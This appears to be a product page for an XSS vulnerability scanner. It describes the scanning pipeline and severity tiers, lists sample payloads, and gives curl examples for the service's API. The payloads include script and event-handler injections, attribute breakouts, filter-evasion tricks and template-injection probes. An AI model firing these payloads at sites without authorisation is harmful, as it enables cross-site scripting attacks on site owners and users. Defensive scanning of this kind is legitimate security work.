Playwright-powered scanner continuously probes your endpoints, classifies threats by severity, and generates actionable remediation steps — in real time.
Four-stage pipeline runs continuously against your target URLs.
Playwright navigates to your URL and injects 44 XSS payloads into query params, form fields, and visible input elements — simulating real attack patterns.
Rule engine analyzes the rendered HTML page for six XSS evidence types: script execution, event handlers, javascript: URIs, DOM clobbering, encoding bypasses, and reflection probes.
Findings are classified into five severity tiers (critical → informational) based on exploitability and impact. Critical issues flag direct script execution — the highest risk.
Every finding includes a contextual remediation step from OWASP guidelines. Alerts are formatted for console, Slack, or API response — your pipeline, your format.
Enter any URL. Results in seconds. No account required.
44 payloads across 5 severity tiers — from direct script execution to encoding bypass probes.
Direct code execution with no mitigation. Scripts run immediately on page load.
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
Attribute injection and context breakout. Exploitable when user input lands in HTML attributes.
" onfocus=alert(1) autofocus="
"><script>alert(1)</script>
javascript:alert(1)
<a href="javascript:alert(1)">
DOM mutation and encoding bypass attempts. Nested tags, styles, and math elements used to evade filters.
<style>@import"javascript:alert(1)"</style>
<svg><script>alert(1)</script></svg>
"><style></style><img src=x onerror=alert(1)>
Probe payloads indicating potential reflection. Unicode and incomplete script tags signal unencoded output.
%3cscript%3ealert(1)%3c/script%3e
"><script>alert(1)</script>
<script>prompt(1)</script>
Template injection and context detection. Identifies template engines and sandboxed contexts.
{{7*7}}
${7*7}
TPL_RENDER_7
{{constructor.constructor("alert(1)")()}}
Programmatic access to scan, findings, and target management.
curl -X POST https://vigil-ai-40.polsia.app/api/scan \\
-H "Content-Type: application/json" \\
-d '{"url": "https://yoursite.com", "name": "Prod"}'
curl https://vigil-ai-40.polsia.app/api/scan
curl https://vigil-ai-40.polsia.app/api/scan/1/findings
curl https://vigil-ai-40.polsia.app/api/health